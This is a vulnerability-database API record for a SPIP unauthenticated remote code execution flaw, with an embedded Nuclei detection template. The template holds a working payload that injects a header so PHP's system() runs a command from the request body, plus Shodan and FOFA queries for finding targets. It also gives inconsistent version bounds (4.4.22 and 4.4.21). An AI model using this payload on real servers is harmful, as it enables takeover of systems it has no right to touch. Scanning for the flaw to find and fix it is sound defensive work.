{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-77806/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-77806/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-77806/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-77806/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-77806/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-77806"},"sightings":{"href":"/api/v1/sightings/cve-2026-77806"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.04201,"kev":false,"percentile":0.90519},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-77806.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-77806\n\ninfo:\n  name: SPIP < 4.4.22 - Unauthenticated RCE\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    SPIP < 4.4.21 contains a remote code execution caused by mishandling of the X-Spip-Filtre HTTP request header in analyse_resultat_skel, letting unauthenticated remote attackers execute arbitrary code.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n    Update to version 4.4.21 or later.\n  reference:\n    - https://securityonline.info/cve-2026-77806-spip-unauthenticated-rce/\n    - https://blog.spip.net/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-77806\n    epss-score: 0.04201\n    epss-percentile: 0.90519\n    cwe-id: CWE-94\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.component:\"SPIP\"\n    fofa-query: body=\"spip.php\"\n  tags: cve,cve2026,spip,rce,unauth,vkev\n\nvariables:\n  marker: \"{{rand_text_alphanumeric(8)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /spip.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"spip.php\", \"spip_document\", \"spip_logo\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /spip.php?page=sommaire&{{rand_text_alpha(8)}}=%3C%3Fphp%20header(%22X-Spip-Filtre:%20intval|_request|system%22);%20%3F%3E HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        0=echo {{marker}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{marker}}\")'\n        condition: and\n# digest: 4a0a0047304502202bafce4295f494c5b6b7314fb55beb467f7f9caa2be1469d915dd4e17e5e95d40221008b053a2668351ad0c75bfe5cf7a915ec6840b28b0e3088bf89d408b6d79fa9af:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-77806"}